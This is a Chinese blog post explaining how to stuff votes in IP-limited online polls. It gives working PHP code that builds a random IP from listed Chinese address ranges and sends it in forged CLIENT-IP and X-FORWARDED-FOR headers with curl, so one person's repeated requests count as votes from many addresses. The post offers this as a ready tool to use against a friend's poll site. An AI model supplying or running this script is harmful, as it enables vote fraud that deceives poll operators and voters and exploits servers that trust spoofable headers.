投票系统刷票方式原理(突破ip限制刷票PHP版)

 先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢了

一个朋友突然发了一个网站,让我帮她投投票..我这人一项比较好说话,就帮她投了.顺便分析了这个网站,发现这个网站的投票系统有ip限制,但是投票是一个ajax请求.那么办法就出来了.

很多投票PC网站都是依靠限制ip,来限制投票人数.那么我用curl伪造IP,那么就可以轻易制造多个IP进行投票.

下面贴上PHP代码:

由于对方是GET AJAX请求,我这里就贴上GET方法,POST方法请自行修改

<?php  
/** 
 * @author 邹颢   [email protected] 
 */ 
$ip_long = array(  
    array('607649792', '608174079'), //36.56.0.0-36.63.255.255  
    array('1038614528', '1039007743'), //61.232.0.0-61.237.255.255  
    array('1783627776', '1784676351'), //106.80.0.0-106.95.255.255  
    array('2035023872', '2035154943'), //121.76.0.0-121.77.255.255  
    array('2078801920', '2079064063'), //123.232.0.0-123.235.255.255  
    array('-1950089216', '-1948778497'), //139.196.0.0-139.215.255.255  
    array('-1425539072', '-1425014785'), //171.8.0.0-171.15.255.255  
    array('-1236271104', '-1235419137'), //182.80.0.0-182.92.255.255  
    array('-770113536', '-768606209'), //210.25.0.0-210.47.255.255  
    array('-569376768', '-564133889'), //222.16.0.0-222.95.255.255  
);  
$rand_key = mt_rand(0, 9);  
$ip= long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1]));//随机生成国内某个ip  
$url='localhost/ip.php';//这里请填写投票的请求地址  
$ch = curl_init($url);  
$header = array(   
    "CLIENT-IP:{$ip}",   
    "X-FORWARDED-FOR:{$ip}",   
);   
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ; // 获取数据返回  
curl_exec($ch);  
curl_close($ch);



你可能感兴趣的:(PHP)